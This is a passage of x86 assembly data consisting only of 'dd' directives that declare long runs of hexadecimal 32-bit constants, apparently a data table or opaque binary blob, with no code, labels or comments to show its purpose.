		dd 335FFE51h, 9C26EFBFh, 1385BBBBh, 563DE9EBh, 804E615Ch
		dd 5662C8B7h, 0D5ABEA72h, 5ACBE24Dh, 3049CF95h,	547D67FFh
		dd 7A43471Dh, 0CC5E5B35h, 0EF62A18Eh, 0FF51512Dh, 0BE0B0710h
		dd 731EC1AAh, 7FD7D246h, 0E1AD4AD0h, 4DD07C9Fh,	0A5E62204h
		dd 4A0C6008h, 5803349Fh, 0EB94B7E8h, 7AE9B33Eh,	59F70BACh
		dd 6D44AE4Eh, 0DB4003EDh, 0DC9411A2h, 0D5083BF6h, 1F637AEFh
		dd 0F32DF7A2h, 3A8F4062h, 0A136842Ch, 8E2F1EBFh, 4B5D965Fh
		dd 0BAA1F98h, 402E3B54h, 9D63D4C2h, 7F482D43h, 0ECF70C6Bh
		dd 0E4EE6530h, 0DFF58482h, 6A4885C2h, 0F8E1056Dh, 0E9EFD21Fh
		dd 84D53DE9h, 2F935F6Ah, 0C4024C1Fh, 912CF31Fh,	94C28F6h
		dd 821579C5h, 1E1B7EFBh, 8AB400AAh, 0E1DBC69Fh,	0A54344B4h
		dd 83E18B10h, 40BD02BCh, 9A402BD3h, 11265274h, 0C3957D7h
		dd 9D57444Fh, 0DAB51F38h, 1B8FD94Ch, 0CE01784h,	51210330h
		dd 59ED0657h, 3948685Bh, 208C8B6Dh, 62F3E781h, 0D24D5FFCh
		dd 8F205556h, 732E4A45h, 0F73D7717h, 0AE7BB5D9h, 1EDD096Ch
		dd 0E4B3B71Eh, 21F2499h, 0BAE3419Eh, 0DB80D50Bh, 8F14ABA0h
		dd 8A69790Ah, 3CD3897Fh, 3111B649h, 0A9B5D20Bh,	0BFC7AE51h
		dd 6B16C57Bh, 0C34EFC2Eh, 0BA3F0394h, 4C699626h, 868A6496h
		dd 95FC0691h, 88AC4318h, 9DE9A2DAh, 6FD8F4EBh, 35E46938h
		dd 8548B4CFh, 6DE4D0CDh, 0AB6C45Eh, 5258C403h, 18B431A8h
		dd 8BCD2D45h, 928EF555h, 85796FCh, 0A8F52BE2h, 84208DA5h
		dd 96EF4D96h, 0EC0DEA85h, 9CAEEF0Ch, 0CA24D655h, 328BB47Bh
		dd 0C94F72B7h, 996DE4E5h, 6205ECDDh, 1F44DDA9h,	0D89FA2CAh
		dd 6980D610h, 7DD5FAD6h, 5EA881D2h, 2C66BCB4h, 345B645Eh
		dd 19775A92h, 26D3ED8h,	0C94AE2D3h, 71F0AD86h, 0D425213Ch
		dd 0E7AFD7A1h, 6D611D1Ch, 0F4A21B74h, 0BBB8428Fh, 76D00783h
		dd 0BCF672B7h, 0E90E897Fh, 5D91CD5Ah, 86A2C43Fh, 54C32DC4h
		dd 249EDD73h, 20631AC5h, 13F4B273h, 0B39418B8h,	0D8D6A2C1h
		dd 4F894D1h, 1E0A38DAh,	0F6213279h, 0FA9EF8D5h,	2A2D2BEAh
		dd 299DA1C7h, 553AA565h, 313F2EC8h, 0F3E065E5h,	0AF51934Ch
		dd 0AE583F3Fh, 41BE3F8Ah, 59615CBFh, 278E3BF8h,	5DB72A5Dh
		dd 0B8A303B8h, 0D235AF65h, 3E31C341h, 3CE5A9A1h, 0A64E65C1h
		dd 5F6B4EF3h, 0D62C6EEh, 3D7AE174h, 3C6A7D08h, 0F31EB93Fh
		dd 0BB4DF54h, 0ABE56777h, 278BF6B8h, 0A38674FDh, 0FF163416h
		dd 8E852702h, 0C8262A68h, 0C3CF60ACh, 0B3AF8C5Fh, 42617E85h
		dd 1E2D835Ah, 0AA18B53h, 6EFD8340h, 0AF8AC94Eh,	8E5EA848h
		dd 7E453A6Fh, 0E7A3E45Ch, 67E9C21Eh, 3A08A7B2h,	0D6582B2Dh
		dd 501F6A7Eh, 0A7796BC9h, 234EB86Bh, 0B22D95BAh, 6E5BBEACh
		dd 30F24445h, 0F93009F4h
		dd 5C4D4AD0h, 9542A8C0h, 500B776Fh, 20725378h, 0C1933137h
		dd 0DF17B1B9h, 7638D748h, 0DEB1B98Bh, 14E857F7h, 0A4134B9Ah
		dd 6ACDCA2Ah, 98652B5Fh, 4C9CDAB9h, 0CE4CE200h,	0A52479CDh
		dd 22780072h, 25A34398h, 0FB12359Eh, 5327E50Ch,	6132B6B1h
		dd 0C2E846E2h, 0C36DBEECh, 0E23C8B89h, 84EC6177h, 3516A769h
		dd 9B8385B8h, 3080F19Ah, 0A43FAFA0h, 3A2531F4h,	0F4289594h
		dd 0A595038Fh, 0B45CF3A4h, 0CF1BA4C1h, 9B0CD614h, 422DCD0Ah
		dd 922338C6h, 8B5A0EC3h, 41E02429h, 4B325D09h, 0DCEB1267h
		dd 0E1E1DDF1h, 0E07F03A3h, 125B5CAAh, 0FCA0EE84h, 0E94736A9h
		dd 0DAB98578h, 0D889BB63h, 85D6BD39h, 97E025CFh, 9A55DDF2h
		dd 0C5F09F2Ah, 116C7D07h, 63C854Bh, 4F5FE0E7h, 9CA37B95h
		dd 0EC9E2906h, 0BA4A9002h, 0D3BD8AC0h, 0A994D2DDh, 0DACE6537h
		dd 75B98191h, 0D09426C8h, 496BE03Dh, 8F9A4359h,	16114B48h
		dd 0E9C115B3h, 0F4FB1272h, 798C3AB0h, 2D9C1B1Ch, 78953230h
		dd 506A5B7h, 0B4AE7797h, 4A6C2585h, 0E9C2A6A0h,	29D59827h
		dd 50C9EF0Fh, 0A1C1B5CBh, 9DE7867Ah, 905680B1h,	0D31ECA21h
		dd 6D03CB72h, 0B3694D84h, 0AC0A0D13h, 177C7D71h, 27846751h
		dd 35586234h, 8FC44561h, 4C5AA8Ah, 0BFAD2EB0h, 0A0AAB989h
		dd 445755Ch, 0BA3B21B6h, 0ED03DAB1h, 1462B3Ah, 3D37FABh
		dd 0C27770FEh, 93DF15E2h, 0F766EF41h, 87DDE7Ch,	32AAA524h
		dd 0D01FFBE4h, 77F8491Bh, 0DC187720h, 0F862B176h, 27CEA466h
		dd 13971DA3h, 43976BE0h, 5D59319Dh, 2D1635ECh, 741BBE3Eh
		dd 3CDE1839h, 0ABFE01EEh, 5ADE94EEh, 86B039CDh,	2E460442h
		dd 0DE978F0Fh, 5FF616F5h, 0AF927B15h, 0F68F578Eh, 106B0E56h
		dd 9E58B0C8h, 93E48874h, 58387C78h, 30DD96EEh, 6B0CC4AEh
		dd 2E3203DFh, 36854359h, 6FE8E763h, 5AE56FBCh, 0FF049DDDh
		dd 3C7A0430h, 0CF4CF917h, 0FA7D0C1h, 0F44F167Dh, 6482196Ch
		dd 66014633h, 0D9087D64h, 9B733D81h, 21BF3D2Eh,	85C5F519h
		dd 0C5C9A5F3h, 9C5D5131h, 0A14E4E49h, 0C2D35113h, 10404E34h
		dd 0C7FF5AA1h, 6FAC8CBAh, 0E55C080h, 0A2A9FD17h, 3496C05Ch
		dd 6D1A9EB6h, 0A7833193h, 0DC670439h, 0ECC40668h, 0A0417903h
		dd 0BC4E7E5Fh, 0A85AF30Fh, 2D7F7FDBh, 0B7568452h, 0DDE4289h
		dd 54690CFCh, 0FE8182E3h, 716197F6h, 16463E93h,	2D6330E4h
		dd 7EA81D83h, 516A2F82h, 462675E2h, 5F7AF668h, 0C9193B44h
		dd 5A418ADDh, 0B57A0813h, 0A66972D5h, 0CE518192h, 6E49E4BCh
		dd 4E2D955Eh, 1B151FD4h, 5107A3B2h, 0E5B6AE07h,	0A9BC1810h
		dd 562712A4h, 0E00F9324h, 15D15A11h, 0EDF682ABh, 0C80019F6h
		dd 0A4FF3799h, 0AA5EC78Bh, 0B31B5BE7h, 340E85D9h, 0A35A134Ah
		dd 69A38892h, 0AA9A2C5Bh, 58774EB8h, 0A90E125Eh, 0B031583Ch
		dd 0BF20F626h, 5494FC5Ah, 20CB50ABh, 0A33AD6C3h, 24C51782h
		dd 0A09328Ah, 0BF75FE2Ch, 15D0BD6Ah, 0CBAEF1B4h, 0D07FEC10h
		dd 1A816F0Fh, 0D6059BB2h, 34DE1339h, 7E7376DFh,	86C50316h
		dd 2AF701B2h, 90BCDC79h, 0F4954721h, 5CDB263Ch,	7FC20A2Ch
		dd 575E6680h, 1357CDBFh, 85059D59h, 7B163A5Bh, 116B5014h
		dd 0F30948A6h, 22A1B62Bh, 0DD79BA54h, 61912C6h,	9C022B49h
		dd 20CEF79Dh, 94F700D0h, 2E8618Dh, 0DE15A12h, 9DDE358h
		dd 4579861Fh, 2AE4ECB6h, 43F422F9h, 0A4B567D8h,	0F9656A55h
		dd 117C9D49h, 0B2CC5195h, 7E59372Eh, 63544500h,	4D86047Ah
		dd 0FF5230E6h, 0D797F143h, 4D08F26Eh, 446506ADh, 0F5440DF8h
		dd 0C2A803D5h, 0AEF9185Bh, 4439F764h, 0F6C50D11h, 0E86AE125h
		dd 0C8E66A6Ah, 76D63DF2h, 3714D570h, 0CDCD8BACh, 39B4BF0h
		dd 0E0438D87h, 7FB9B8D3h, 0B5E759B4h, 0DB9AFDD6h, 926DB2FDh
		dd 6C37B7B8h, 0F3D4141Ah, 2183A4h, 28BBE398h, 95187AD2h
		dd 64D325Ch, 9D8E2E2h, 0C57C559Dh, 0C846553Ch, 48F0F8E4h
		dd 3D98B8B1h, 22F43FFh,	115FC7B0h, 9DDDF26Ah, 5BAA69EAh
		dd 728B39Fh, 8DDCA28Dh,	4B0079AFh, 0FA0FE86h, 0C5621B5Dh
		dd 91C2D95Dh, 32B0C90Ah, 0AE3C51A5h, 0C0D0B28Bh, 0C42124D8h
		dd 22C4AA1Ah, 6480468Fh, 87AD2E56h, 3DCE6986h, 5984841Ch
		dd 0D9850457h, 123DFD36h, 0F9459840h, 590DC25Ah, 0FA2DAA99h
		dd 59672751h, 8F76C350h, 1B408422h, 0D385E8E7h,	72B73FC0h
		dd 4FD29FCh, 0C97B743Bh, 9FE1DBABh, 62019DA1h, 9F564FB9h
		dd 0C2CF8DAAh, 3DFAFBACh, 331FC11Dh, 239D867Bh,	0A3CF966Ch
		dd 64322C86h, 0BCB65B35h, 84FF58Dh, 0C5A0D8D3h,	2FEF1349h
		dd 54EAB1B4h, 3B9A1C98h, 0E0AEEECDh, 0AD46C9A7h, 5C3458B3h
		dd 0B722F7E2h, 0F26509D5h, 5234C518h, 3A68803Dh, 6F658D57h
		dd 8D9A5E00h, 239744DFh, 3EF15193h, 0F4AAB3EFh,	0C68961E3h
		dd 8F71B3C1h, 32E1EDE8h, 0EA148679h, 13A2EB03h,	0F4599FDAh
		dd 6EBD957h, 0A2A70E61h, 8B0E8FB0h, 29CFA289h, 0D0BD6C45h
		dd 580695A9h, 0CF5785A1h, 50A140E0h, 11B16A3Ch,	87FA26CAh
		dd 0EB864B19h, 1FF1A780h, 856FD951h, 2BDF0A40h,	83BF6612h
		dd 0F581390Eh, 0CB398311h, 2009610h, 0EBEF8D99h, 0F89EE5BBh
		dd 6BE1EAD4h, 826457D6h, 7BD02C13h, 3AFA491Eh, 5FE3648Dh
		dd 734F8D72h, 0D93DCCBh, 12ECDBC2h, 306CCAA4h, 277C91ADh
		dd 5124C3F8h, 0F0591CF9h, 95190BCBh, 0A7285082h, 9488740Dh
		dd 5353B0B2h, 4DB25F1h,	0FCDACCB2h, 7D0A1B5h, 44AB1E39h
		dd 0B127DB64h, 423AAD9h, 49294311h, 0EA878F63h,	9398380h
		dd 0B35C0CC9h, 0AEF6DF6Dh, 48FC95FEh, 0E64D94ECh, 1E3564BCh
		dd 0B2A3F483h, 6305FFD7h, 83C14CBAh, 0BDB54332h, 0C8DFFD37h
		dd 25B724D6h, 8D9EFCC6h, 0ADEA2CF9h, 0C1D9EEA8h, 0C87BADB4h
		dd 0F8F73E8Ch, 0AE0EB44Eh, 0B813EBB2h, 0A213C832h, 3F1AA25Bh
		dd 86DE5445h, 5D2069A5h, 206A5CF0h, 0ACC0B76Ch,	7D0B1DB6h
		dd 8D662918h, 0F31BAFF0h, 0F85A8E4h, 8284CC2Fh,	0B4972516h
		dd 82196A30h, 6F8FC7E2h, 0FFFBF8C2h, 49C74EF9h,	5798E42Fh
		dd 467355B3h, 0E65790D5h, 678CF68Dh, 613A39D0h,	0A34BA548h
		dd 0CD6943D1h, 83696702h, 79863EECh, 55C13437h,	0F720E45Ch
		dd 19E75AE3h, 705306h, 0F608409Dh, 860ACDh, 0F8CD54C4h
		dd 3C85CD94h, 1CEACCFDh, 6AF29AC5h, 5C219A6h, 34E203A4h
		dd 970647BBh, 849CC449h, 0D1022484h, 943CFE0h, 73AD2CF7h
		dd 9023F24h, 0B3235EBAh, 27129BBBh, 0E51E861Dh,	6E78646Bh
		dd 96176248h, 0D8AECB89h, 0C0F75B18h, 0C05F98E3h, 7C5684FDh
		dd 5EE4335Eh, 0BDFC3BA1h, 9CC24232h, 27BFFB2h, 51DAC1F3h
		dd 2FC6FA00h, 0E89D5BF0h, 0BB718CF9h, 2C7DF4ABh, 60A7461Fh
		dd 87993862h, 27EC0321h, 4CE84F38h, 8FCE2098h, 38D0A80Ch
		dd 7DB77A3h, 0ED184764h, 0C90AA13Eh, 0F9C4297h,	60954161h
		dd 2664EC34h, 0BC844C63h, 0CF79714Ah, 141ADA45h, 601B607Fh
		dd 0DAA7E1D5h, 98FC7D70h, 6AA973C4h, 0E98408A4h, 0E88AE581h
		dd 0EBEEA135h, 34682615h, 3C0F833Ch, 0B3B00135h, 0BFBEB5F3h
		dd 83D91B08h, 6CF6A7h, 377463E9h, 0A473CF70h, 15C1DB0Dh
		dd 2050FD2Fh, 3107267Dh, 224FE152h, 0E7D7DEE0h,	0FA43486Ah
		dd 7D481DA4h, 1AFA021Eh, 0B0126B7Ah, 77EEEE80h,	55EB2192h
		dd 0E4D3294Eh, 465DE45Eh, 0C1573284h, 370C4026h, 3E4D26C4h
		dd 331BDA11h, 6B48274Eh, 5D57B33Bh, 0BC20B4EFh,	7D4C115Ah
		dd 0B9F5FA34h, 0E078364Ch
		dd 0F0635D02h, 7C9B3DA4h, 0C91531CFh, 4A38941Fh, 0B681353Fh
		dd 877DAA9h, 8A32EBBBh,	0C435B93Dh, 7C6C8CBAh, 495964EAh
		dd 5DDEC13Ch, 0CB7C0490h, 66E6ADAh, 0F09F1717h,	0E6188779h
		dd 0BE2D64CCh, 0C9990539h, 8EB20536h, 9B2CA26Dh, 0C27BF35h
		dd 0C8DB43E2h, 980D2259h, 692AAD03h, 0D13DBFF5h, 68F67DA4h
		dd 6C96CBA3h, 0A4CE3EE2h, 2C03E7C5h, 532A65CEh,	0C9B8FA0Bh
		dd 8C0DA73Dh, 3E96C595h, 533C4092h, 0CA73225h, 0CA90620Ah
		dd 8BC92219h, 0EC7D2A61h, 0F277E60Eh, 0ECD5278Bh, 280D5B60h
		dd 60807EBAh, 3D59C4Eh,	2F175CF7h, 3F17A6E2h, 93A352D8h
		dd 304D1206h, 7F8B7ABBh, 59E73C4Dh, 84A3E0C4h, 0DC3A174Ch
		dd 707A9FFAh, 0D6B9C194h, 238EE84Ah, 0C66EA115h, 3FA3B4AAh
		dd 0A4EB96EBh, 201EE2F4h, 5BCCB9A8h, 0A820B6FEh, 0CFAD49EFh
		dd 6FC3E18Bh, 5A09622Ch, 0A0D57A9Bh, 0EA4B0E81h, 0BBE3842Fh
		dd 0A0B5D648h, 0FD8596D9h, 4FE8E865h, 763ED9C0h, 68B7BA57h
		dd 35EE1D74h, 6C3C39A1h, 44C44999h, 838B4466h, 62102284h
		dd 0CD36B482h, 0D089AAD5h, 9D59BE2h, 9A013A89h,	787E6518h
		dd 0D9B43B5h, 3D56D336h, 6F0B24E5h, 0A65574F8h,	5144D083h
		dd 641056FEh, 0B69213F7h, 5B8C955Ch, 0D5FA708Eh, 0A8186668h
		dd 2668CADBh, 0A759F363h, 18F914B6h, 0A4F7E850h, 3C2B7D41h
		dd 53AD4B3Bh, 42CA67BEh, 1F21B84Ah, 45ED6ED2h, 47F5951h
		dd 9324BBAFh, 0ECD565E6h, 0B7F792E0h, 0BE666074h, 71618DD8h
		dd 15C9A2EFh, 0CB9D8DCDh, 4D044F97h, 66E4EA8h, 171B3197h
		dd 0F36C4114h, 732662D2h, 0CA61A03Eh, 0E549A9C6h, 988FE82Eh
		dd 0C4F49DE1h, 18D469C0h, 99C9DC38h, 0D19E3BCCh, 186413DDh
		dd 400631C8h, 75C1B017h, 406A1C66h, 0E050800h, 7DFC422Dh
		dd 44A78D6Eh, 0E44A3B5h, 27AD1F28h, 0FEBCB609h,	73004699h
		dd 0D4D78350h, 0A3923446h, 0A9DBB0A2h, 0C2EA1F4Ah, 112B7EEh
		dd 17AEA636h, 8110942h,	1FF07007h, 0E861B4h, 1D8D05CBh
		dd 0D393A8ADh, 3AA71CFEh, 0C4811363h, 0B4EC861Eh, 0CA9648C3h
		dd 0A2A347h, 9AD31453h,	8E765436h, 746AF7A9h, 2BF7D71Bh
		dd 82DD9A4Ch, 0F287625Eh, 0BB1B7C4Bh, 3EBBA9Ch,	5C11190h
		dd 24633E6h, 6A6D14EDh,	0CDBF8117h, 8A8A9EC9h, 0E4610E53h
		dd 7989D9AAh, 93770E09h, 4A33759Bh, 0BB1F1E85h,	636198F2h
		dd 177C6C30h, 157AA773h, 39B47A1Ah, 6B7C2111h, 96C4CA81h
		dd 57B7B5A9h, 0C6F58683h, 90BE88E1h, 398F71E8h,	0FE51BF5Bh
		dd 0CFCAF67Ch, 0D649DC14h, 0FDC089F5h, 9DF19142h, 0F045D240h
		dd 0A4FB3C61h, 3F0FCFB0h, 872CC157h, 0B365D816h, 0C93CDDD3h
		dd 64400783h, 0E17E9AD9h, 67328F3Dh, 0A8A24162h, 15005D05h
		dd 0E004169Ah, 0A1B7F9h, 7B71A985h, 0BC2DCA37h,	59A7381h
		dd 6AABE51Bh, 0D53480E0h, 7E5B7889h, 71FF3F3h, 89CA4E13h
		dd 6A85B09Ch, 2F489E77h, 5B2A590Dh, 68922244h, 941C6297h
		dd 0E270F8BCh, 833EB3Fh, 0A241682h, 5F713D36h, 8CDE7FFh
		dd 28E94014h, 35C81DFEh, 0E5E48E00h, 0C9E2C818h, 0B699BB12h
		dd 0A64340A0h, 64235193h, 0CD96F296h, 9FF1DE82h, 0F71A8B3Bh
		dd 30C4095Fh, 28D69595h, 4AE91AD7h, 11D8A4F2h, 5892FF9Ch
		dd 0D00FEDB4h, 9C8843F2h, 7FED0762h, 6534AF75h,	6A5043F5h
		dd 0E731B1E5h, 0C94131E5h, 567C6931h, 80DD653Fh, 0C0A16C95h
		dd 0B9415B84h, 70A803B2h, 577537E0h, 0FEFB4DBFh, 0BDDCA632h
		dd 4B1683D8h, 32CEB6A7h, 0C8D1BB7Bh, 0A36346BDh, 70BA0885h
		dd 83433F63h, 74FEB998h, 6B7F9B96h, 5CAB76D7h, 8AEFDBD2h
		dd 6E09FC46h, 0FF285E9Ch, 0EBC36E38h, 0B3EFD0A9h, 0B213DEABh
		dd 0C5F2854Fh, 38F24BCBh, 0B96F30BAh, 2DE28588h, 0ABDA90D2h
		dd 2819BFA8h, 3F435267h, 184E2A47h, 6A278BE4h, 0EB34E219h
		dd 9F263D1Bh, 5F677CC4h, 89C5CE5Ch, 9E5649Bh, 0BB955AB8h
		dd 698DA3BBh, 435FA4E9h, 0F4098AABh, 0D2FB00F0h, 0E7625D19h
		dd 5BC37084h, 4BC30570h, 0DCB2A895h, 46BF46EEh,	58F8E763h
		dd 45EC3465h, 1B8012F2h, 4E3C4F4Eh, 219BADF2h, 0DF5DFC37h
		dd 0E871BCCAh, 3699B585h, 0B0AC4DA1h, 5CC4C0B0h, 260867E2h
		dd 4342EAC7h, 401AD9ADh, 0A85D7B54h, 0B717CF2h,	0FB8C890h
		dd 102F517Ah, 0E6C116CCh, 0FAB1D44Ah, 63245769h, 0F0E69B16h
		dd 86048797h, 2D0E6CA5h, 53059D69h, 8136039Bh, 0A755950Dh
		dd 72476F74h, 0FC61752Bh, 68D69D89h, 8193C6B0h,	0FCACA1E1h
		dd 0DD874BADh, 6DB7C61Ah, 0F0198941h, 0AEE8543Ah, 0CB4E27DDh
		dd 3D4ABFB6h, 6DAA2F5Bh, 4C442518h, 856DC6F7h, 0DE684600h
		dd 63E3A8CCh, 3F8DEC35h, 0A6A4740Dh, 0D3347532h, 117EE630h
		dd 1165A71Ch, 1B023E51h, 0DB250AA9h, 1F4712Ah, 0B99A9560h
		dd 0BBDCBC6Ah, 1B4C28CEh, 49A8EE91h, 8F668A0Ah,	50D3D34Ah
		dd 0EB2502E8h, 5CA63810h, 0FC478973h, 2ACDE943h, 0EF49F043h
		dd 82C57FE9h, 33C7DB4Bh, 9917019Fh, 3F2BE10Ah, 60677E82h
		dd 530090C5h, 138C8071h, 0AC3C96Eh, 7720B4F3h, 0A64DB48Bh
		dd 5CE9E07Ah, 4F21867Dh, 0BAD714E2h, 0DBE2EF4Ah, 2FA67CDDh
		dd 0CB98756h, 0E3EC9EECh, 0A212D2DDh, 0A4878EB2h, 7FE94CCBh
		dd 9AB51A01h, 4EF4F927h, 9CF68C68h, 0C19EDFBBh,	0F91FA2CEh
		dd 0FDCFE8F3h, 0A29D05CDh, 0FFFED0BFh, 0B2250EACh, 1441A68Eh
		dd 0A2E6DB66h, 2B1CD038h, 27A26ACEh, 30BF269Eh,	0F3B07BEDh
		dd 0A5D59DE3h, 0C90C68Ah, 1C3E097Eh, 15F2CA09h,	35109DF6h
		dd 387170B1h, 53CFF06Ah, 0D9E50F4Ch, 8A2CED81h,	30097C3Fh
		dd 46D9CF00h, 10648F2Ah, 7CF70E37h, 0E6416E48h,	0CABCB88Fh
		dd 0F9590DE0h, 0EA553CCCh, 52953CA9h, 73C03A4Ch, 866870D7h
		dd 0F025142Eh, 12E0DB90h, 7C5E12A0h, 19031202h,	513C11B4h
		dd 0E5740814h, 0F48881F9h, 0D55582E2h, 125355E2h, 3301306Eh
		dd 0E627CC29h, 7F447454h, 5CE4F508h, 0FE750175h, 0AC57C90Fh
		dd 44A34AC0h, 15DE7E68h, 0F87EE5A3h, 50B5331h, 5993CC8Dh
		dd 0C1F0AE7h, 2DC2E308h, 5F5C5E5h, 0E10B218Dh, 728D49CAh
		dd 619A545Fh, 0AC22F7AEh, 84D8272Dh, 0B64AFEB8h, 0B288B57Ah
		dd 0F3A6AAE4h, 49327315h, 0E8B8E2CAh, 95A9B151h, 0BD65310h
		dd 668EDD19h, 0C7D94F12h, 8A7BF35Ch, 4B838D79h,	4D25762Dh
		dd 3B628104h, 13804513h, 1FAE36F6h, 0C11ECF7Bh,	8F97B735h
		dd 0C46F761Fh, 80EF9986h, 24920E68h, 3971A067h,	8DC2876Dh
		dd 1B1BFF71h, 0CD723D6Bh, 0FB59520Ah, 0E640C535h, 5AF19FEBh
		dd 0BB1C70E7h, 2699407Dh, 0E57D1796h, 0B0E94B74h, 4DCD8557h
		dd 41733CD8h, 0ABDEEAA5h, 0F8B1266Dh, 127F0152h, 8C59E3F0h
		dd 38E46FBh, 77868D1Ch,	0C9A7D1F9h, 0B5D8FEB8h,	92DCAE72h
		dd 0E4093082h, 0E5025DCDh, 4D130C6Dh, 0AA170D64h, 66E2B9DDh
		dd 0DAE928F2h, 981D943Ch, 0D23021Fh, 6D3D0125h,	0FE439352h
		dd 0C156A417h, 0B22AF483h, 9F939D91h, 36F9FDB9h, 1B46C05Eh
		dd 42ECC33Dh, 0F6B04359h, 0C34070F9h, 36B83606h, 0B8BB8A9Ch
		dd 9B391E37h, 0CCDE1Ah,	2636D714h, 875C19A0h, 653BA2EDh
		dd 0DBDA1BCEh, 1ED7F2FBh, 0EF04A7F0h, 9602118Ch, 11B5C483h
		dd 33190217h, 6B649B55h, 0A6E62755h, 375E70DEh,	0C37D3F53h
		dd 247B2E9Ah, 8E168B8Dh, 45FC5A42h, 4E55B4E3h, 0FD3B49D0h
		dd 0A8B2109Bh, 61C4F90Eh, 1207084Eh, 0A89F73EEh, 7BC7861Eh
		dd 0A3158A92h, 26F4C18Bh
		dd 7A6C14A8h, 4CEA411Bh, 0F0CB2D51h, 0E47A868Ah, 53244CE8h
		dd 92E8C6C8h, 0F0157B63h, 45485CCBh, 905FDAEBh,	364D3829h
		dd 0E1DD53FEh, 173C47EBh, 821AA189h, 2C513D60h,	98406487h
		dd 65F0AEDEh, 48AE8827h, 63014C25h, 7FECA12Fh, 0DCD8E903h
		dd 6B1EB6FDh, 33516B2Ah, 0B121C974h, 0B3160942h, 0ED495F74h
		dd 0B588CDD0h, 6E872B5Bh, 0C812253Dh, 197C2FF1h, 905D98D6h
		dd 9C48667Eh, 0A82CF12Fh, 76395C59h, 9999BDACh,	0F1848DE2h
		dd 2D4BACD2h, 57D1B366h, 0ECC75C75h, 62469CCAh,	0EDB003E0h
		dd 0DECC585Fh, 0ED59C85h, 0A3C67C5h, 0A46CB68Bh, 0BCA3A3Bh
		dd 0FEB1DA42h, 6AED8ACEh, 0BAD5F112h, 0E64AADB9h, 0DAB51B43h
		dd 9D811211h, 126D13C3h, 93B088C2h, 0CE191DCAh,	4F228062h
		dd 0E6469B63h, 8FAE4B4Fh, 0C58DC28Bh, 51013B22h, 0C9587Eh
		dd 86A3F53Bh, 0D824B0CDh, 0C18FC308h, 5ACD97D7h, 93B61622h
		dd 0C4545C6h, 4ED85269h, 0F2C687ECh, 0BAA18003h, 4BA2C442h
		dd 0AAF7E22h, 98D69FDCh, 6349F518h, 0D6014241h,	2C39781Eh
		dd 3B6ACA37h, 4AF482Ah,	64A1E92Eh, 0E0DDA3E7h, 6A7BF695h
		dd 1D154DA8h, 0E967F35Bh, 0CAA51334h, 8A468EFCh, 0AAF55C3h
		dd 16B3F326h, 0B87BCD22h, 88F57D31h, 0C32E0088h, 9825C78Eh
		dd 0AB332E5Ah, 0D69AEAE9h, 768EA48h, 0C25FC34Eh, 853C278Eh
		dd 0F89CD99Dh, 554F77AFh, 6CEBB538h, 0EE38B5A6h, 864307E6h
		dd 82835B4h, 17B5ACB6h,	0ACE66C0h, 68EFBDB2h, 36669E58h
		dd 0C40EF207h, 0A95F2E93h, 9A99DF47h, 0A624F2CEh, 7B3DF553h
		dd 211DFC1Ch, 3983184Bh, 15F61306h, 0F2495BD4h,	90B75071h
		dd 6D609F6Ah, 3F7C40E4h, 0DC796537h, 0E44ECF5h,	0E012818Fh
		dd 0F4F6F2E3h, 0D9B3D3ABh, 67BE3BFCh, 5AB32ED8h, 25EDFB4h
		dd 0C7D152C6h, 81DEF811h, 53C7CA2h, 0E4FF1840h,	0FC0F7760h
		dd 75F5A253h, 22C973CDh, 0B70BB188h, 7FE6FB4Fh,	4F09E809h
		dd 5EDA2EBDh, 8DA1192h,	625EF445h, 8855AF1Bh, 0C3ABA82Eh
		dd 5B662413h, 6B0016h, 824FC42Ch, 0A4A582EBh, 4FBEF2ADh
		dd 63906D25h, 9083453Bh, 81431722h, 5A55E7A0h, 806F84BFh
		dd 0D377B60Ah, 0DCAF6F54h, 1F57042Dh, 0FF28F048h, 2175AB6h
		dd 0DF5E1D2Fh, 203C7048h, 0A5435D47h, 74F70B8Fh, 1F6FF817h
		dd 0BD9F5725h, 0F0CC7701h, 46AEDFECh, 2BE6B134h, 0A1E378BDh
		dd 1EDC24C4h, 0DB2A8EE0h, 0A8FE3AB1h, 216748Fh,	0D58A990Dh
		dd 2D3C64E5h, 0D001EF94h, 8BC2516Dh, 0B8CA1B80h, 5E5C36F9h
		dd 7957995Eh, 0FF20EA68h, 0C41393E5h, 387B718Fh, 8F0CF953h
		dd 9D4CE439h, 0C20CDDBAh, 0B8A6DFE3h, 9D7FD7F9h, 3F7D6F1Ch
		dd 36C15DFBh, 8E84D0BDh, 0B5414729h, 0F13B1886h, 0EC5022B9h
		dd 2C70D414h, 15DBD21Dh, 0D08BE41Ch, 0D6A9613Ch, 0E222271Ch
		dd 0D1FEBAE0h, 0C9B6BF9Fh, 908105FEh, 7ED4EFB2h, 2F04A431h
		dd 346DD47Eh, 0C3B30054h, 22CE355Ch, 0ED736EA5h, 40AACA3h
		dd 6EDA3171h, 72AC3B1Eh, 81EE29DCh, 2A34EA37h, 15A54404h
		dd 0ECD192F1h, 944AC0AEh, 0ADFCB989h, 9A3BEB1Bh, 0E975E0A6h
		dd 0FF3BA3A1h, 7EBF5860h, 1110A075h, 0FB7E1714h, 804436CCh
		dd 0AE91AA2Dh, 2EC012Ch, 4F26B694h, 17CBD4A3h, 0A394E8EBh
		dd 7E7827C8h, 0D75CD10Ah, 5ABE08E7h, 0FA5F9187h, 10BA4962h
		dd 19F4F33h, 0EEA8D078h, 1AC46D12h, 0D1423559h,	315A15D4h
		dd 71F1CCD9h, 0C65F19B4h, 711AFA12h, 0E7B4C829h, 0D8079C18h
		dd 90231E12h, 5707399Fh, 82A59D8Eh, 0F6EBF9E5h,	0A6E5FB0Ch
		dd 3BDE65C4h, 2B914731h, 0A7A2C9B9h, 0A7ADD3EFh, 66149455h
		dd 5A863A39h, 0B1EF845Dh, 241982Fh, 49867340h, 2864D8E3h
		dd 95ABD39Eh, 88B8D913h, 0B14C3FADh, 0F706E550h, 0F3EB3DD0h
		dd 38954B55h, 392BA71Dh, 0C2DB10ADh, 24F1FE2Bh,	49D7FE6Dh
		dd 0C1D4C894h, 0BAE055BAh, 8E0890Ah, 0F787C24Dh, 0D198F283h
		dd 0F0F23F9Fh, 76C2D056h, 84978479h, 0C4BBF71Fh, 0A426B6DFh
		dd 2511C46Fh, 16BACB19h, 923B03h, 0F52821CBh, 5E0EF8B1h
		dd 21A5BECFh, 0C3D6E0DDh, 7C40BA42h, 0FCC85285h, 42DA6F14h
		dd 0FFB1862Fh, 4F27E446h, 615FE94Eh, 74A8867Fh,	88DB7C25h
		dd 0BEC8C519h, 0E8C80C24h, 994779F0h, 3B6274EFh, 0E78922ABh
		dd 88CE2380h, 83B1C608h, 2AB4231Ch, 0FFFE1582h,	3E53522Bh
